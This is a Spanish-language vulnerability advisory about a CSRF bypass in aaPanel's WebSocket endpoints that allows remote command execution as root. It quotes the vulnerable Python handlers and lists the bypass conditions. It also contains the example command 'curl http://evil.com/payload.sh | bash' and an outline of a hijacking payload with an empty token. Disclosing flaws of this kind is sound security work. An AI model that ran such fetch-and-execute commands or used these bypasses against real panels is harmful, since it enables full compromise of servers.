
Bypass de CSRF en WebSocket de aaPanel que conduce a RCE (Corrección incompleta para CVE-2021-37840)
Una corrección incompleta para CVE-2021-37840 sigue exponiendo 3,6 millones de servidores a RCE como root, 5 años después
Descubierto por: EON Security
CVE: Pendiente de asignación
CVSS: 8.8 (Alta) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Afectados: aaPanel versiones 6.8.12 a 7.65.0 (todas las versiones desde la corrección de 2021)
Base instalada: más de 3,6 millones de servidores
En 2021, se divulgó una vulnerabilidad de Cross-Site WebSocket Hijacking (CVE-2021-37840) en aaPanel, un panel de control de hosting gratuito que se ejecuta en más de 3,6 millones de servidores. El proveedor añadió una verificación de token CSRF para "corregirla".
La corrección era arquitectónicamente incorrecta.
En lugar de rechazar las conexiones WebSocket no autenticadas a nivel HTTP (devolviendo 401), la corrección permite que todas las conexiones pasen (devuelve 101 Switching Protocols) y solo comprueba la autenticación dentro del manejador, después de que el WebSocket ya se ha establecido. La verificación CSRF que añadieron se puede omitir de múltiples maneras.
EON Security descubrió que, 5 años después, todas las versiones de aaPanel siguen siendo vulnerables a la misma clase de ataque.
Este es solo el décimo CVE asignado a aaPanel en sus más de 6 años de historia.
Si ejecutas aaPanel, esto es lo que un atacante puede hacerte:
Escenario 1: Un administrador hace clic en un enlace malicioso
curl http://evil.com/payload.sh | bash — ese comando se ejecuta como root en tu servidorSolo se necesita un clic. Un clic equivocado y el atacante lo controla todo.
Escenario 2: Se filtra una clave de API
Este es el problema más grande. La protección CSRF no se aplica en absoluto a las solicitudes autenticadas por API. Fue diseñada para verificar conexiones basadas en navegador, pero la ruta de código para el acceso por API la omite por completo.
De cualquier manera, 3,6 millones de servidores están afectados. Todas las versiones desde 2021.
g.api_request=True (solicitudes autenticadas por API) y g.is_aes=True (solicitudes cifradas con AES) omiten la verificación por completo/sock_shell ejecuta comandos arbitrarios — subprocess.Popen(cmd + " 2>&1", shell=True)/webssh acepta credenciales SSH proporcionadas por el atacante — conectar a cualquier host SSHTodos los endpoints WebSocket devuelven HTTP 101 Switching Protocols antes de cualquier verificación de autenticación. La verificación de autenticación comm.local() se ejecuta dentro del manejador, después de que la actualización WebSocket ya se ha completado:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
Endpoints afectados:
/webssh (proxy de terminal SSH)/sock_shell (ejecución directa de comandos)/ws_panel (gestión del panel)/ws_home (panel de control)/ws_project (gestión de proyectos)/ws_model (gestión de modelos)/workorder_client (sistema de tickets)/v2/* de todos los anterioresLa función check_csrf_websocket() está diseñada para prevenir el Cross-Site WebSocket Hijacking:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
Existen dos condiciones de bypass directo:
g.api_request: Cuando es True (se establece durante la autenticación con clave de API), la verificación CSRF se omite por completo. Cualquier sesión WebSocket autenticada por API evita esta protección.g.is_aes: Cuando es True (se establece durante solicitudes API cifradas con AES), la verificación CSRF también se omite.La comparación de tokens (get_csrf_sess_html_token_value()) devuelve session.get('request_token_head', ""). En sesiones donde este valor aún no se ha inicializado, un x-http-token vacío pasa la verificación.
El endpoint /sock_shell pasa cadenas proporcionadas por el atacante directamente a subprocess.Popen con shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
Cada mensaje recibido en el WebSocket se ejecuta como un comando de shell. La salida se transmite de vuelta a través del WebSocket. Dado que aaPanel se ejecuta como root, esto es compromiso total del sistema.
El endpoint /webssh acepta parámetros de conexión SSH proporcionados por el atacante desde el primer mensaje WebSocket:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
Si el host es 127.0.0.1 o localhost, el manejador busca credenciales guardadas en la base de datos, o usa las proporcionadas por el atacante.
La ruta de explotación principal es CSWSH (Cross-Site WebSocket Hijacking) que requiere interacción del usuario:
wss://victim-panel:8888/sock_shellcomm.local() pasa la autenticación (cookie de sesión válida){"x-http-token": ""} o explota las rutas de bypass por API/AES